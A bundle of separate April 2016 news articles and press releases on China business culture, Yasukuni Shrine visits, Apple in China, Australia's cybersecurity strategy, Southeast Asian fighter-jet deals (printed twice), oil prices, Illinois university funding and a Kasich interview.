Foreign investment even now is focused far more on China's coastal cities and provinces so perhaps even greater attention is needed when venturing westward. Investors should, therefore, be mindful of the fact that business deals and negotiations in western China cities are likely to involve local city inhabitants only and will probably not include those from very different regions of China.

After a brief stop in Chengdu, rich in local culture, I move to the nearby municipality of Chongqing - one of four cities directly administered by the central government - an incredibly beautiful mountain city. Spicy food and other elements of popular culture are shared across these two cities but investors need to be aware of real differences in their business cultures. Doing business in Chongqing typically involves a direct and extroverted approach from the local business community. A "take it or leave it" approach is common with often quite fiery tempers on display.

In Chengdu, however, a more laid back and circuitous route to closing the deal is common, where lengthy, alcohol-fueled business dinners dominate and do not often appear to be heading anywhere near business agreement resolution. Patience is needed here.

Finally, my trip ends in Beijing, which has long been on the international business circuit and arguably sits alongside Shanghai as a key Asian, if not world, business center. But the same cannot be said of neighboring Tianjin, a municipality and northern China's major port.

It could be all too easy for investors to make the mistake of assuming that doing business in Beijing is a recipe for success in Tianjin. It is not and once again a far more localized approach is necessary.

My lecture tour ends but the search for new business opportunities across China surely continues, and investors should remain clued to China's cultural diversity and be aware of key differences in doing business between the most apparently neighborly of cities.

The author is a visiting professor at the University of International Business and Economics in Beijing and a senior lecturer at Southampton University. The views do not necessarily reflect those of China Daily.
Japanese lawmakers visit war-linked Yasukuni Shrine en masse Updated: 2016-04-22 10:02 (Xinhua)

A group of bipartisan lawmakers visits the war-linked Yasukuni Shrine in Tokyo on April 22, 2016, during its spring festival.[Photo/IC]

TOKYO -- A group of lawmakers on Friday visited the controversial war-linked Yasukuni Shrine which stands as a symbol of Japan's militarism and honors its war dead including criminals convicted by an international tribunal.

The visit by the group of lawmakers to celebrate the shrine's spring festival, follows Japanese Prime Minister Shinzo Abe making a ritual offerings to the notorious shrine in Tokyo and dedicating a "masakaki" tree a day earlier.

Labor and Welfare Minister Yasuhisa Shiozaki, House of Representatives Speaker Tadamori Oshima and House of Councillors President Masaaki Yamazaki made similar offerings.

Seiichi Eto, Abe's special advisor, and Liberal Democratic Party and lower house member, Keiji Furuya, meanwhile, visited the contentious war-linked shrine in person.

Gestures, whether made in person or made by proxy at the war shrine, draw the ire of Japan's neighboring countries, particularly China and South Korea, who both suffered immeasurably at the hands of Japan's brutal militarism before and during WWII and were both quick to denounce the visits and the offerings on Thursday.

The controversial war shrine honors the souls of some 2.5 million war dead, including more than 1,000 war criminals convicted by a post WWII court, including 14 Class-A war criminals as adjudicated by the war crimes tribunal.

For the victim countries of Japan's wartime atrocities, the shrine is a living reminder of the horrors inflicted by the Japanese Imperial Army during its time occupying countries, particularly in East Asia, and a symbol of ultra-rightwing defiance and a stronghold of contemporary historical revisionism, militarism and an imperialistic mentality.

Abe himself has not visited the shrine since he paid an ill-advised tribute there in person in December 2013, the fallout of which saw Japan's ties with its closest neighbors effectively disintegrate and the Japanese leader strongly reprimanded by the United States for inflaming regional tensions.
China leads way on US adoptions Updated: 2016-04-22 07:08 By Hezi Jiang and Luo Wangshu(China Daily Europe)

China remains the United States' most accessible source of adoptions from overseas, thanks to an efficient system and strong oversight of orphans, according to two experts.

The number of foreign adoptions by US families has fallen to the lowest level in three decades. However, adoptions of Chinese children by US citizens rose 15 percent year-on-year in 2015 to 2,354.

The figure accounted for 42 percent of all foreign adoptions, according to the US Department of State.
tim cook china mobile beijing

Apple's iBooks and iTunes Movies stores were shut down in China last week, less than six months after they were launched there.

Features and services shut down all the time, but, according to a report in The New York Times, the move is a sign that Apple's relationship with China is souring. Apparently, the stores were shut down by the Chinese government.

From The Times:

Initially, Apple apparently had the governments approval to introduce the services. But then a regulator, the State Administration of Press, Publication, Radio, Film and Television, asserted its authority and demanded the closings, according to two people who spoke on the condition of anonymity.

We hope to make books and movies available again to our customers in China as soon as possible, an Apple spokeswoman said in a statement.

If Apple's relationship with China has gone south, that is a very bad sign for the company. Over the past few years, China has been the company's main engine of growth as it has posted several quarters with record profits. In 2015, China was responsible for more than 50% of Apple's revenue growth.

Obviously, if growth in China slows, that would have a major impact on Apple's stock valuation and future.

It hasn't always been smooth sailing for Apple in China. Back in 2014, Apple's iPhone 6 launched weeks late in China. Reports at the time indicated that the Ministry of Industry and Information Technology declined to give it a routine certification. During that year, Apple moved Chinese customer data onto servers located in China at the request of the Chinese government.

There are many different ways that Chinese officials could make conducting business difficult for Apple.

Earlier this week, Apple general counsel Bruce Sewell told Congress under oath that the Chinese government had asked for Apple's source code  he didn't mention for which product  but Apple had refused. That revelation could not have made Chinese officials happy.

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And Apple has had warmer relations with Chinese government officials and state-owned business executives than other American tech giants. Google famously pulled its Chinese search engine in 2010. Facebook is not widely used in the world's most populous company. Cisco, IBM, and Microsoft have seen their Chinese sales fall in recent years.

But Apple was different. CEO Tim Cook publicly met with China Mobile chairman Guohua Xi in 2014 when he visited Beijing. (China Mobile is state-owned.) Apple was seen as a fashionable brand among Communist Party members and their families. And as companies like Microsoft were forced to produce custom versions of their software, Apple was exempted.

That's why I think China pulling two minor online media stores, neither of which likely generated a lot of sales, is just the first stage in what could be a very unfortunate turn of events for Apple in its most important market.

NOW WATCH: The FBI may have paid over $1 million to unlock the San Bernardino shooter's iPhone





More From Business Insider


By Byron Kaye

SYDNEY (Reuters) - Australia set out a far-reaching cybersecurity strategy on Thursday, invoking the leaks of United States whistleblower Edward Snowden, terrorism and even the threat of war to push for a coordinated global approach to protection of online data.

Prime Minister Malcolm Turnbull, who faces an election in July amid waning popularity, is trying to position himself as a leader who can transform Australia into a tech-savvy business hub as its economy deals with a commodities downturn.

In a speech in Sydney, the former online entrepreneur said hacking attacks cost the country A$1 billion ($780 million) a year and unveiled a long list of measures - from appointing his own special cybersecurity adviser to having internet safety taught in schools - to make the online world freer and safer.

"There's no global institution or infrastructure more important to the future prosperity and freedom of our global community than the Internet itself," Turnbull said, noting the Internet had spread "almost entirely without the direction or control of government".

"The same qualities that enable us freely to harness cyberspace for prosperity can also provide an avenue for those who may wish to do us harm," he said.

The country's Bureau of Meteorology and department store chain Kmart Australia Ltd, owned by Wesfarmers Ltd, both suffered online attacks last year, he noted.

Turnbull acknowledged the public has become skeptical about government activity online since U.S. National Security Agency contractor Snowden leaked classified documents in 2013, and again this year when the U.S. Federal Bureau of Investigation sought access to an Apple Inc iPhone used by one of the shooters in killings in San Bernardino, California.

But he said that "in certain very specific circumstances government will work with the private sector ... to fight serious online crime and extremism and to thwart terrorists and others who seek to hide their illegal activities online".

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Governments must also cooperate with each other, Turnbull said, otherwise "there is a risk that unexplained cyber incidents could escalate into conflict between states".

Turnbull, who delivers his first budget in May, two months before the election, said he wants to spend A$230 million on 33 cybersecurity measures involving 100 new jobs, including extra resources for the government's Computer Emergency Response Team, and law enforcement agencies.

He also plans to relocate the cybersecurity office of intelligence agency, the Australian Signals Directorate, outside the broader Australian Security Intelligence Organisation to make it easier to coordinate with businesses.

Online security industry executives welcomed the strategy, noting it was Australia's first review of its cyber protection systems in six years.

"Given the speed with which these things have moved, we are overdue, and strategy goes some way to making good progress," said Phil Vasic, the Australian managing director of U.S.-listed cybersecurity firm FireEye Inc, who was at the Turnbull speech.

(Reporting by Byron Kaye; Editing by Simon Cameron-Moore)
(Adds comments by Caisse chief executive and Quebec government spokeswoman)

By Allison Lampert and Matt Scuffham

MONTREAL/TORONTO April 22 (Reuters) - Canadian pension fund Caisse de depot et placement du Quebec said on Friday that it would invest C$3 billion ($2.37 billion) in a new public transport network in Montreal, the third-largest of its kind in the world.

The network will link downtown Montreal with several suburbs and Montreal's airport in a 67 km (41.6 miles) light rail transit system comprising 24 stations which will operate 20 hours a day, seven days a week. The automated system would be the largest after Dubai's at 80 km, and Vancouver's at 68 km.

The C$5.5 billion project, a public-private partnership, would require C$2.5 billion from the province of Quebec and Canada. A spokeswoman for Quebec Transportation Minister Jacques Daoust said Friday the province would invest in the project. A Canadian government spokesman could not immediately be reached for comment.

Quebec's transport minister told Radio Canada that he would be happy to see a Quebec company like train and plane maker Bombardier Inc win the contract.

But a Quebec spokeswoman later said that Caisse would be in charge of the bidding process.

Caisse, which acquired a 30 percent stake in Bombardier Transportation in 2015, will hold a global call for tenders audited by two experts to ensure a transparent and fair process, pension fund Chief Executive Michael Sabia said in an interview.

He said that Caisse, Canada's second-largest pension fund, would be begin qualifying consortia in the fall of 2016.

"There is no favoritism, there is no leg up to Bombardier or to anybody else," Sabia said. "The only way to get the business is by winning it."

Bombardier, which has been facing criticism for delays in delivering new streetcars to the Toronto Transit Commission, said on Friday it would consider bidding on the Quebec project.

"We are obviously interested in this project and we are going to be looking into it for sure," Bombardier Transportation spokesman Marc Laforge said.

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Caisse, which would start construction in the spring of 2017 to begin train service at the end of 2020, is already discussing plans to operate similar projects in other countries, Sabia said.

Developing greenfield projects as manager is part of a broader goal to raise Caisse's infrastructure investments from C$14 billion today to around C$25 billion.

"We are actively talking to people in the United States and elsewhere to begin the process of exporting the model." ($1 = 1.2680 Canadian dollars) (Editing by G Crosse and Matthew Lewis)
* Malaysia, Vietnam, Indonesia among countries eyeing new jets

* Southeast Asian nations wary of China actions in South China Sea

* European, Asian suppliers make ground on U.S. defence firms

By Siva Govindasamy and Joseph Sipalan

SINGAPORE/KUALA LUMPUR, April 22 (Reuters) - With an eye on China's more muscular stance in the South China Sea, Southeast Asian governments are stepping up efforts to replace ageing fighter aircraft fleets, paving the way for multi-billion dollar deals in a boon for warplane makers.

Despite tight budgets across the region, sales executives say they are busier than ever after a five-year lull - and both industry and government sources say the next months could see several multi-billion dollar deals from Malaysia to Vietnam.

A trade conference held in Kuala Lumpur this week thronged with would-be buyers and salesmen from Russian, French, British, Chinese, Pakistani and American firms. Held every other year, attendees reported it was busier than ever.

A prime drawcard was one of the region's biggest prizes: Malaysia, which is set to finally replace its Russian 1990s-era MiG-29 fighters after several years of delays. Industry sources say Kuala Lumpur could buy up to 18 jets, a deal potentially worth more than $2.5 billion.

Options include the Saab Gripen, the Eurofighter Typhoon, Russian Sukhoi Su-30, and the Sino-Pakistani JF-17. France is optimistic about winning an order for Dassault-built Rafales but other bidders are also hopeful.

"We are hoping to make Malaysia the ninth country to buy the Typhoon," said John Brosnan, who heads the Asian business for BAE Systems, one of the partners in the Eurofighter consortium.

Malaysia's defence ministry did not respond to requests for comment on the talks.

Vietnam, eyeing options beyond traditional supplier Russia, is among those next on the buyers list. It has had preliminary talks with Saab and France's Dassault to purchase at least 12 fighter jets, industry sources and a separate source familiar with the government talks said.

Story continues

"They seem to be keen on moving away from Russia, but it has been dormant so far," said Kaj Rosender, regional director for Gripen exports at Saab. "It looks like the next call will be on Vietnam."

Industry sources say Vietnam is also in talks with Moscow over several Su-35s. Officials at Rosoboronexport, Russia's arms export agency, declined to comment on any negotiations.

Vietnamese officials rarely comment on procurement matters, and did not respond to Reuters' requests for comment.

FOCUSING MINDS

While reluctant to comment publicly, officials in countries including Indonesia and Vietnam privately say their renewed interest in new fighter jets is driven in large part by China's growing presence in the disputed South China Sea.

Chinese state media reported this week that a military plane had landed on Fiery Cross Reef, one of a number of new runways on reclaimed artificial islands, fuelling expectations that China will soon deploy fighter jets at the doorstep of many of the Southeast Asian claimants.

"Rising tensions in (the Asia Pacific region) have seen a long overdue process of military modernization move up the political agenda in a number of countries," Craig Caffrey, principal analyst at IHS Jane's said in a report. "The Philippines, Indonesia, Japan and Vietnam are all following China's lead and we see no sign of this trend coming to an end."

Beijing for its part says it needs the facilities for self-defence and says the United States and others are militarising the region, not China.

By rights, U.S. defence firms should be benefitting as the region renews and revamps - they were a heavy presence in Southeast Asian sales 1980s and 1990s. But they now they face tough competition, as well as tighter purse strings.

Thailand, which has Northrop F-5s and Lockheed Martin F-16s, has bought the Saab Gripen and could order more from the Swedes, say industry sources familiar with the negotiations.

"We do want new jets, we have long-term plans, but we don't have the money for it," Major General Kongcheep Tantrawanit, Thai defence ministry spokesman, said.

"There are no deals in the making right now."

Boeing executives had been plugging their F/A-18E/F Super Hornets to Malaysia, which operates the older Boeing F-18 Hornet variants. But Kuala Lumpur appears to be leaning towards the Europeans, say industry sources.

Boeing's only presence at this week's show was to promote its unmanned systems. Boeing officials did not respond to requests for comment.

Meanwhile, Indonesia, which operates older Lockheed Martin F-16s, is close to an order for Russian Su-35s to supplement its Su-30s, industry and government sources said.

It is also a partner in the Korean Aerospace Industry KF-X fighter jet programme, which Lockheed is helping to develop. Lockheed did not respond to requests for comment.

For U.S. players, that leaves the list of likely partners at Singapore, which operates only U.S. fighters jets and is a partner in the Lockheed F-35 programme.

The region's other supplier, of course, is China itself.

Its JF-17, which it developed with Pakistan is a being marketed as a viable low-cost option for air forces, including Malaysia and Myanmar. ($1 = 3.8700 ringgit) (Additional reporting by Patpicha Tanakasempipat in BANGKOK, Manuel Mogato in MANILA, Aradhana Aravindan in SINGAPORE; Editing by Clara Ferreira Marques and Lincoln Feast)
By Siva Govindasamy and Joseph Sipalan SINGAPORE/KUALA LUMPUR (Reuters) - With an eye on China's more muscular stance in the South China Sea, Southeast Asian governments are stepping up efforts to replace ageing fighter aircraft fleets, paving the way for multi-billion dollar deals in a boon for warplane makers. Despite tight budgets across the region, sales executives say they are busier than ever after a five-year lull - and both industry and government sources say the next months could see several multi-billion dollar deals from Malaysia to Vietnam. A trade conference held in Kuala Lumpur this week thronged with would-be buyers and salesmen from Russian, French, British, Chinese, Pakistani and American firms. Held every other year, attendees reported it was busier than ever. A prime drawcard was one of the region's biggest prizes: Malaysia, which is set to finally replace its Russian 1990s-era MiG-29 fighters after several years of delays. Industry sources say Kuala Lumpur could buy up to 18 jets, a deal potentially worth more than $2.5 billion (1.7 billion pounds). Options include the Saab Gripen, the Eurofighter Typhoon, Russian Sukhoi Su-30, and the Sino-Pakistani JF-17. France is optimistic about winning an order for Dassault-built Rafales but other bidders are also hopeful. "We are hoping to make Malaysia the ninth country to buy the Typhoon," said John Brosnan, who heads the Asian business for BAE Systems, one of the partners in the Eurofighter consortium. Malaysia's defence ministry did not respond to requests for comment on the talks. Vietnam, eyeing options beyond traditional supplier Russia, is among those next on the buyers list. It has had preliminary talks with Saab and France's Dassault to purchase at least 12 fighter jets, industry sources and a separate source familiar with the government talks said. "They seem to be keen on moving away from Russia, but it has been dormant so far," said Kaj Rosender, regional director for Gripen exports at Saab. "It looks like the next call will be on Vietnam." Industry sources say Vietnam is also in talks with Moscow over several Su-35s. Officials at Rosoboronexport, Russia's arms export agency, declined to comment on any negotiations. Vietnamese officials rarely comment on procurement matters, and did not respond to Reuters' requests for comment. FOCUSING MINDS While reluctant to comment publicly, officials in countries including Indonesia and Vietnam privately say their renewed interest in new fighter jets is driven in large part by China's growing presence in the disputed South China Sea. Chinese state media reported this week that a military plane had landed on Fiery Cross Reef, one of a number of new runways on reclaimed artificial islands, fuelling expectations that China will soon deploy fighter jets at the doorstep of many of the Southeast Asian claimants. "Rising tensions in (the Asia Pacific region) have seen a long overdue process of military modernization move up the political agenda in a number of countries," Craig Caffrey, principal analyst at IHS Jane's said in a report. "The Philippines, Indonesia, Japan and Vietnam are all following Chinas lead and we see no sign of this trend coming to an end." Beijing for its part says it needs the facilities for self-defence and says the United States and others are militarising the region, not China. By rights, U.S. defence firms should be benefitting as the region renews and revamps - they were a heavy presence in Southeast Asian sales 1980s and 1990s. But they now they face tough competition, as well as tighter purse strings. Thailand, which has Northrop F-5s and Lockheed Martin F-16s, has bought the Saab Gripen and could order more from the Swedes, say industry sources familiar with the negotiations. "We do want new jets, we have long-term plans, but we don't have the money for it," Major General Kongcheep Tantrawanit, Thai defence ministry spokesman, said. "There are no deals in the making right now." Boeing executives had been plugging their F/A-18E/F Super Hornets to Malaysia, which operates the older Boeing F-18 Hornet variants. But Kuala Lumpur appears to be leaning towards the Europeans, say industry sources. Boeing's only presence at this week's show was to promote its unmanned systems. Boeing officials did not respond to requests for comment. Meanwhile, Indonesia, which operates older Lockheed Martin F-16s, is close to an order for Russian Su-35s to supplement its Su-30s, industry and government sources said. It is also a partner in the Korean Aerospace Industry KF-X fighter jet programme, which Lockheed is helping to develop. Lockheed did not respond to requests for comment. For U.S. players, that leaves the list of likely partners at Singapore, which operates only U.S. fighters jets and is a partner in the Lockheed F-35 programme. The region's other supplier, of course, is China itself. Its JF-17, which it developed with Pakistan is a being marketed as a viable low-cost option for air forces, including Malaysia and Myanmar. (Additional reporting by Patpicha Tanakasempipat in BANGKOK, Manuel Mogato in MANILA, Aradhana Aravindan in SINGAPORE; Editing by Clara Ferreira Marques and Lincoln Feast)
Happy Friday! Analyzing Commodities' Performance This Morning

Crude is set to end the week strong

Crude oil prices look stable this morning. Theyre set to post a third consecutive weekly gain. Until now, West Texas Intermediate crude gained more than 7% this week. Brent crude gained more than 3%. At 8:01 AM EST on April 22, crude was trading at $43.47 per barrel. This is a gain of 0.67%. Brent crude is trading at $44.74a gain of 0.47%.

Decrease in supply with increase in demand

According to Saudi Arabias top oil ministry adviser, Ibrahim Muhanna, global oil demand could increase by 1.2 MMbpd (million barrels per day)1.5 MMbpd in 2016. The supply could decrease by 1 MMbpd in 2H16. This is promising for oil prices. He added that the output freeze might be discussed in the next producers meeting in June. The doors are open for cooperation from Saudi Arabia. The failure to come to an output freeze agreement in the previous producers meeting in Doha disappointed the Market. It pulled crude prices as low as 7%.

Geopolitical factors outweighed commercial factors in the producers meeting on April 17. Saudi Arabia wouldnt agree to participate in the deal because Iran wasnt involved. However, the sentiment turned and oil prices rose after oil workers announced a strike in Kuwait. Read What Caused Oil Prices to Rebound on April 18? to learn more about how markets reacted to the news.

The US rig count from Baker Hughes is a barometer for the oil drilling industry. Its scheduled to release at 1:05 PM EST today. Along with crude oil, oil producers and related ETFs also gained this week. In the first four trading days of this week, QEP Resources (QEP), WPX Energy (WPX), Carrizo Oil & Gas (CRZO), and ExxonMobil (XOM) gained 5.9%, 9.2%, 7%, and 2.2%. The ProShares Ultra Bloomberg Crude Oil ETF (UCO) and the SPDR S&P Oil & Gas Exploration and Production ETF (XOP) gained 8.9% and 4.9%.

Continue to Next Part

Browse this series on Market Realist:
VMwares 1Q16 Results Beat Estimates amid Dell-EMC Deal

(Continued from Prior Part)

New offerings in networking space continued to gain traction

Previously in the series, we discussed VMwares (VMW) recently announced fiscal 1Q16 results. On a YoY (year-over-year) basis, VMwares fiscal 1Q16 revenues of $1.6 billion grew 5.2% on the back of strong results from NSX, the companys network virtualization platform. NSX, a part of VMwares SDDC (software-defined data center) architecture, is a virtual networking and security software platform. VMware stated that NSX license booking, which is its network virtualization business, continued to grow by over 100% on a YoY basis in fiscal 1Q16.

VMwares end-user computing license bookings grew in the mid-teens on a YoY basis with the customer base growing to ~63,000. VMwares Virtual SAN is the companys virtual storage offering in the HCI (hyper-converged infrastructure) space. It is preferred by companies who want to keep their computing and storage in one box. VMwares Virtual SAN continued to report growth of ~200% on a YoY basis. VMware also highlighted that it has clinched its largest ever VSAN deal with a global investment bank.

Geographical impact on VMwares performance in fiscal 1Q16

VMware stated that its bookings, an indicator of future revenues performance, performed best in the Asia-Pacific region. It was followed by the Europe (EFA), the Middle East, and Africa region and the Americas region. Instability in emerging markets (EEM) like Brazil, Russia, and China impacted VMwares performance in 1Q16. IBM (IBM) and SAP AG (SAP) also stated that macroeconomic uncertainty in Brazil impacted their recent fiscal earnings.

Continue to Next Part

Browse this series on Market Realist:
HALIFAX, NOVA SCOTIA--(Marketwired - Apr 22, 2016) - Erdene Resource Development Corp. (ERD.TO) ("Erdene" or "Company"), announced today that the Company has agreed with Teck Resources Limited ("Teck") to extend the optional subscription date for 2016 for the Company's strategic alliance ("Alliance") in Mongolia by 60 days to June 23, 2016. The new subscription date coincides with the planned commencement of the 2016 field exploration program.

The Alliance with Teck was entered into in April, 2013, and was formed by the signing of option and private placement agreements (collectively, "Agreement") to fund and carry out mineral exploration in the Trans Altai region of southwest Mongolia. Under the terms of the Agreement, Teck has the option to subscribe for shares of Erdene, priced at the then current market plus 10%, until it has invested $3 million or acquired through subscriptions 19.9% of the outstanding shares of Erdene, whichever occurs first. A minimum of $500,000 is to be subscribed by Teck on each anniversary date of the closing of the Agreement to renew the Alliance. To date, Teck has subscribed for $2 million in Erdene shares and owns 11.4% of Erdene's issued and outstanding common shares. Excluded from the Alliance are the Company's Bayan Khundii Gold Project and Altan Nar Gold-Polymetallic Project.

A multi-year program of regional exploration, designed to identify porphyry and porphyry-related mineralization, has been underway since inception. The program has provided the Alliance with a significant amount of technical information that continues to be evaluated. During the 2015 program the Alliance was able to secure new exploration licenses within the targeted area and is now reviewing the potential for future acquisitions within the Mongolia licensing system. Upon renewal of the Alliance, the 2016 exploration program will consist of surface geochemical sampling, geological mapping and prospecting, and analysis of newly acquired satellite data.

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About Erdene

Erdene Resource Development Corp. is a Canada-based resource company focused on the acquisition, exploration, and development of precious and base metals in underexplored and highly prospective Mongolia. The Company holds four exploration licenses and a mining license located in southwest Mongolia. These include: Altan Nar - an extensive, high-grade, near-surface, gold-polymetallic project; Bayan Khundii - a high-grade surface gold discovery made in Q2-2015 that the Company is currently exploring; Khuvyn Khar - an early-stage, copper-silver porphyry project with multiple drill targets and significant copper intersections; Zuun Mod - a large molybdenum-copper porphyry deposit; and Altan Arrow - an early-stage, high-grade, gold-silver project. In addition to the above properties, the Company has an Alliance with Teck Resources Limited on regional, copper-gold exploration in the prospective Trans Altai region of southwest Mongolia. For further information on the Company, please visit www.erdene.com. Erdene has 114,876,030 issued and outstanding common shares and a fully diluted position of 131,384,791 common shares.

Forward-Looking Statements

Certain information regarding Erdene contained herein may constitute forward-looking statements within the meaning of applicable securities laws. Forward-looking statements may include estimates, plans, expectations, opinions, forecasts, projections, guidance or other statements that are not statements of fact. Although Erdene believes that the expectations reflected in such forward-looking statements are reasonable, it can give no assurance that such expectations will prove to have been correct. Erdene cautions that actual performance will be affected by a number of factors, most of which are beyond its control, and that future events and results may vary substantially from what Erdene currently foresees. Factors that could cause actual results to differ materially from those in forward-looking statements include market prices, exploitation and exploration results, continued availability of capital and financing and general economic, market or business conditions. The forward-looking statements are expressly qualified in their entirety by this cautionary statement. The information contained herein is stated as of the current date and is subject to change after that date. The Company does not assume the obligation to revise or update these forward-looking statements, except as may be required under applicable securities laws.

NO REGULATORY AUTHORITY HAS APPROVED OR DISAPPROVED THE CONTENTS OF THIS RELEASE
MOUNTAIN VIEW, CA--(Marketwired - April 22, 2016) - Gridstore, the leader in hyper-converged all flash infrastructure today announced it will showcase its industry leading HyperConverged Infrastructure (HCI) solution at the upcoming Truth in Storage Seminars being held in Dallas and Houston Texas. The Dallas event will be held on Tuesday, April 26th in the Atrium room at the Double Tree Hilton Hotel Dallas Airport. The Houston event on Thursday, April 28th, will be hosted in Jasmin I & II at the Sheraton Houston Brookhollow Hotel. Both events run from 9am to 3pm and the attendees who visit the Gridstore booth will have the opportunity to learn how Gridstore is adding a new implementation option for customers that meets the rapidly growing need of IT organizations for a simple, easy-to-deploy solution, yet one that still allows highly elastic, independently scalable compute and storage.

Tweet this: Must See industry leader @gridstore showcase their #hyperconverged all-flash #infrastructure solution @truthinstorage April 26 & 28 th

At both events, Gridstore will be presenting its session demonstrating "How All-Flash HyperConverged Infrastructure Will Transform Your Data Center!" With a hyper-converged infrastructure you can reap the benefits of implementing this solution regardless of the size of your own data center or budget.

Gridstore's HyperConverged Appliances (HCA) are purpose-built for the Microsoft Cloud-Inspired Data Center. The HCA brings together compute, SAN and storage into a single system that offers all-flash bare-metal performance, efficient scaling, and scale-to-fit design that eliminates costly compute sprawl. Customers achieve a 10X performance increase with 75% less infrastructure delivering 4X decrease in TCO. The Gridstore HyperConverged Appliance is an ideal platform for infrastructure refreshes and specific Windows workloads such as VDI, SQL Server, Dev/Test, and ROBO.

Gridstore's HyperConverged Infrastructure supports Azure Pack, enabling deployment of Private-Cloud-in-a-Box easily and cost-effectively. Windows Azure Pack provides a multi-tenant, self-service private cloud interface that works with Windows Server and System Center, to deliver self-service provisioning, easy movement of workloads to the cloud, and infrastructure management. Additionally, Gridstore's integration with System Center includes VMM for policy-based provisioning and orchestration of compute and storage resources at VM-level granularity. Building on this with v 3.5 of its HyperConverged Infrastructure, Gridstore has released OAuth for administrative level authentication to enforce additional security, as well as support for WMI counters for system-level monitoring, tracking, and reporting of key metrics such as IOPs and latency of each VM.

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Follow Gridstore

Read our Blog: http://www.gridstore.com/blog/

Twitter: http://twitter.com/gridstore

LinkedIn: https://www.linkedin.com/company/2065619

YouTube: https://www.youtube.com/user/GridstoreInc

Facebook: https://www.facebook.com/Gridstore-109988085848509/

About Gridstore

Gridstore's award winning HyperConverged Infrastructure, is delivered as an appliance that offers market leading price/performance, efficient scaling, and scale-to-fit design. The Gridstore HCI is easy and fast to deploy while reducing management time and effort. Leveraging its patented software, a Gridstore HCI delivers 75% less physical infrastructure and a 65% lower price-per-VM than traditional solutions. The Gridstore HyperConverged Appliance is an ideal platform for infrastructure refreshes and specific workloads such as VDI, SQL Server, Dev/Test, Private Cloud and ROBO.

 2016 Gridstore. All rights reserved.
(Adds House Speaker reaction, details on Senate human services legislation, market background)

By Dave McKinney and Karen Pierog

CHICAGO, April 22 (Reuters) - Illinois' cash-starved public universities and community colleges won a temporary financial reprieve on Friday after the state legislature approved a $600 million funding plan, offering a rare break in the state's long-running budget stalemate.

The legislation now goes to Republican Governor Bruce Rauner, who praised its passage and is expected to sign it.

"By passing this bipartisan agreement, lawmakers in both chambers put aside political differences to provide emergency assistance for higher education, ensuring universities and community colleges remain open and low-income students can pay for school," Rauner said.

The plan represents a partial thaw in a crippling 10-month budget deadlock between Rauner and Democrats who control the state legislature that has hit the state's higher education and social service systems acutely. Illinois is the only state without a full operating budget.

The votes benefit Chicago State University, which serves a predominantly minority enrollment in Chicago. It accelerated the close of its school year and vowed to quit paying employees after April because of the lack of state funding.

Under the legislation now headed to Rauner, the university would get $20.1 million. Low-income students reliant on Illinois' Monetary Award Program scholarships also would see about $169.7 million.

But the overall $600 million package represents only 34 percent of the $1.7 billion that Democrats originally earmarked for higher-education spending this fiscal year.

The plan contained no human services funds, though the state Senate approved competing legislation on Friday combining the $600 million for higher education with $441 million for social services. Rauner's office said he does not support that plan.

House Speaker Michael Madigan, a Chicago Democrat with whom Rauner has feuded, criticized the governor after Friday's votes for not making human-services spending a priority.

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"If he continues his unwillingness to assist our human service providers, he will be successful in destroying the safety net for those most in need and for critical state services," Madigan said.

The respite for the state's higher-education system comes after its community colleges received rating downgrades and negative outlooks by Moody's Investors Service in recent weeks.

"The negative outlook reflects pressure on the community college sector in Illinois as a result of the state's budget impasse and ongoing fiscal challenges," Moody's said.

In October, Moody's cut the ratings of six state universities after its downgrade of Illinois to Baa1.

Standard & Poor's in late March put five state universities under review for potential rating downgrades.

(Reporting by Dave McKinney; Editing by Andrea Ricci)
Its no secret that Ohio Gov. John Kasichs strategy for winning the Republican presidential nomination boils down to hanging around until the convention in July and hoping that the other two candidates, businessman Donald Trump and Texas Sen. Ted Cruz, are just so unpalatable that the delegates turn to him instead.

However, he has rarely said it as plainly as he did during a strange and rambling interview with The Washington Post editorial board on Wednesday.

Related: Cruz Says He Can Still Win, But His Campaign Sends a Different Message

I dont think at the end theyre going to pick somebody whos going to pick somebody whos going to lose in November. I just dont believe it. Maybe Im wrong. Ive been wrong before. But I just think its very hard for them to pick somebody who they know is going down, because whos going to be there?

But for all his assurance on that question, the interview transcript suggests a candidate weirdly disengaged from the race he is running, and even the party he wants to represent.

Of the convention he said, I mean, I dont know all this other delegate stuff because I dont spend time on it. He even claimed not to know the number of delegates needed to clinch the nomination -- 1,237 -- though the figure has been in virtually every news report about the race for weeks.

He criticized the Republican Party as a whole for its general negative outlook. See, I am a fundamental believer in ideas, he said. If you dont have ideas, you got nothing. And frankly, my Republican Party doesnt like ideas. They want to be negative against things.

Related: Another Super Tuesday? Trump and Clinton Lead ... for Now

Now we got  weve had a few who have been idea people. We had Reagan. Okay, Saint Ron. We had Kemp, he was an idea guy. We had, you know, Id say Paul. Paul is driven mostly by ideas, Paul Ryan. He likes ideas. But you talk about most of them, most of them  the party is kind of a knee jerk against. Maybe thats how they were created. I dont know.

Story continues

Discussing the coming nominating convention and the need for the party to rally behind a single candidate, he opined, Its  and you know what, the party  like I one time looked behind the curtain and there was nobody there. There is no kind of party. The party is an amalgamation of all the people whove raised money and been involved in politics and you know, like yesterday I was in Maryland. I think thats where I was. I was in Maryland. So Ehrlich was there. And then theres this guy there whos run like a bunch of campaigns. Hes raised tons of money for Ehrlich and all. Just a regular old guy. I mean, he doesnt  I mean, hes the party.

He was also curtly dismissive when challenged on various things, such as his change of position on birthright citizenship between supporting a bill opposing it while in Congress and supporting it as a governor.

Its just like, I mean, birthright citizenship, I probably signed onto some bill. Its like, who cares? Kasich said. Youre a congressman. Sometimes you sign on, youve got all this stuff coming across your desk, lets not get over serious about this. It never passed.

Related: Does a Tamer Trump Risk Losing His Mojo?

When he was asked about the lack of details in his tax and fiscal proposals -- something that the Tax Policy Center, the Tax Foundation, and the Committee for a Responsible Federal Budget have all said makes analysis of his proposals impossible -- he seemed annoyed that anyone should even be questioning him on the topic.

No, its 28, 25, 10 with an earned income tax credit and fewer deductions. Deductions for state and local taxes and charity. Thats what the plan is. Okay? Its not  I mean, what more do you need? I can tell you what the rates are. I mean, whats so difficult about this? Thats the outline of it. What else do we need? Its like how are you going to balance the budget? What, Im going to send you a 30-page document here that shows all the little details of this? I mean, come on.

The interview went on in that vein at length, with Kasich arguing, in the end, that the board should take his word for it when he says hell balance the federal budget and cut taxes because hes done it before.

At another point, Kasich flatly said that a carbon tax would not work to reduce pollution. When one of the members of the editorial board rightly pointed out that virtually all economists disagree with him on that point, his response was, You know, look, I am not going to get into that. I dont think so, and you know, all economists, is that like all pollsters? Is that like all pundits? I mean who are these people, you know?

Related: Hey GOP -- Maybe Its Time to Really Rig This Election

